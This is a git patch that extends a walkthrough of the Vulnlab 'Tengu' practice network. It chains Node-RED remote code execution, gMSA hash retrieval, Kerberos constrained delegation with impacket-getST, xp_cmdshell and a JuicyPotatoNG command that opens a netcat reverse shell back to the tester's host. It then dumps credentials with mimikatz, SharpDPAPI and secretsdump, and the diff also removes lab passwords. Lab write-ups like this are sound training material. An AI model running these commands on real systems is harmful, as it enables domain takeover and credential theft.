From 339c426d5e15b6d04ae7cb686c1cf32752bc567a Mon Sep 17 00:00:00 2001
From: ARZ <60057481+AbdullahRizwan101@users.noreply.github.com>
Date: Thu, 19 Sep 2024 12:58:44 +0300
Subject: [PATCH] Update Tengu.md
---
Vulnlab/Tengu.md | 148 ++++++++++++++++++++++++++++++++++++++++++++---
1 file changed, 140 insertions(+), 8 deletions(-)
diff --git a/Vulnlab/Tengu.md b/Vulnlab/Tengu.md
index 94eec7e..d710bb6 100644
--- a/Vulnlab/Tengu.md
+++ b/Vulnlab/Tengu.md
@@ -36,7 +36,7 @@ Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```
-##
+## nodered.tengu.vl
```bash
PORT STATE SERVICE VERSION
@@ -51,6 +51,8 @@ Both windows hosts had only RDP service enabled, on linux hosts, there was somet
+## Remote Command Execution Through Node-RED
+
Node-RED is known for getting remote command execution (RCE), to achieve this, we'll need to create a flow by timestamp block following exec block
@@ -71,6 +73,8 @@ From `nodered` directory, we can find some type of hashed password but not reall
+## Accessing MSSQL
+
From sql node properties, we can see the connection string with the username `nodered_connector`
@@ -123,15 +127,143 @@ proxychains bloodhound-python -d tengu.vl -u t2_m.winters -p 'Tengu123' -c all -
+## Escalating privileges on linux host
+
+From bloodhound, t2_m.winters is a member of linux admin group which means we can have local admin on the linux host
+
+
+
+Through ssh we can easily switch to `t2_m.winters` user
+
+
+
+this host has `ReadGMSAPassword` on `GMSA01$` account
+
+
+
+## Constrained Delegation on SQL Host
+
+The NThash can be retrieved from `/etc/krb5.keytab`, this file contains service account hash in this case has NODERED's NThash, the hash can be extracted with KeyTabExtract https://github.com/sosdave/KeyTabExtract/tree/master
+
+
+
+This hash can be verified by authenticating on DC
+
+
+
+GMSA hash can be retrieved by using `--gmsa` module on LDAP
+
+```bash
+proxychains nxc ldap 10.10.238.213 -u 'NODERED$' -H 'hash' --gmsa
+```
+
+
+
+This account has `AllowedToDelegate` permission on SQL host which means we can impersonate as a local admin on this host through MSSQL service, performing constrained delegation
+
+
+
+
+
+With getST.py we can try to impersonate as administrator user for MSSQL service sql host but it didn't worked for administrator
+
+
+
+Instead of admin, we can check what other users we could target, there's a group name `SQL Admins` , with two users
+
+
+
+
+
+Here we can try to impersonate `T1.M_Winters` and then login through MSSQL using the ticket
+
+```bash
+proxychains impacket-getST -spn 'MSSQLSvc/sql.tengu.vl' -impersonate 'T1_M.WINTERS' -hashes :hash 'tengu.vl/gMSA01$'@sql.tengu.vl -dc-ip 10.10.168.213
+```
+
+
+
+From here xp_cmdshell can be enabled and system commands can be executed in the context of `gmsa01$`
+
+
+
+With netcat, we can get a reverse shell
+
+
+
+Checking our privileges, we can get local administrator by abusing `SeImpersonatePrivilege` with JuicyPotato-NG or any other recent potato exploit
+
+
+
+```bash
+JuicyPotatoNG.exe -t * -p "C:\Windows\system32\cmd.exe" -a "/c C:/Windows/Temp/nc.exe 10.8.0.136 3333 -e cmd.exe"
+```
+
+
+
+
+
+## Lateral Movement - Extracting Credentials Trough DPAPI
+
+Running mimikatz to dump local admin hash and checking if there are any hashes in lsass
+
+
+
+ With `lsadump::cache` , domain cached credentials can be found where there's cached credentials for `c.fowler` but obviously this is not in NThash format so it cannot be used in pth unless it's gets cracked, which in this case was not the way
+
+
+
+To dump saved credentials from credential Manager/ task scheduler, we can target DPAPI which stores credentials with user specific keys, being a local admin we can utilize `sharpdpapi` to dump all credentials
+
+```bash
+SharpDPAPI.exe machinecredentials
+```
+
+
+
+## Using kerberos authentication to spawn a shell as T0_c.fowler
+
+T0_c.fowler is a domain admin, authenticating against the DC to see if the password is valid
+
+
+
+But the plain text password wasn't working and it's probably due to admin users belonging to Protected Users Group which is why we'll need to use kerberos authentication
+
+
+
+So instead, using `kinit` we can request TGT for the user by specifying the plain text password and we'll get our ticket using by modifying the `/etc/krb5.conf` configuration file
+
+```bash
+[libdefaults]
+ default_realm = TENGU.VL
+ kdc_timesync = 1
+ ccache_type = 4
+ forwardable = true
+ proxiable = true
+ rdns = false
+ dns_canonicalize_hostname = false
+ fcc-mit-ticketflags = true
+
+[realms]
+ TENGU.VL = {
+ kdc = dc.tengu.vl
+ }
+
+[domain_realm]
+ .tengu.vl = TENGU.VL
+
+```
+
+
+
+Having the ticket, we can just dump hashes from ntds.dit using `secretsdump.py` or just spawn a shell using smb, wmi or psexec
+
+
+
+
# References
- https://quentinkaiser.be/pentesting/2018/09/07/node-red-rce/
- https://gist.github.com/Yeeb1/fe9adcd39306e3ced6bdfc7758a43519
-
-```
-nodered_connector:DreamPuppyOverall25
-t2_m.winters:af9cfa9b70e5e90984203087e5a5219945a599abf31dd4bb2a11dc20678ea147
-t2_m.winters:Tengu123
-
-```
+- https://github.com/sosdave/KeyTabExtract/tree/master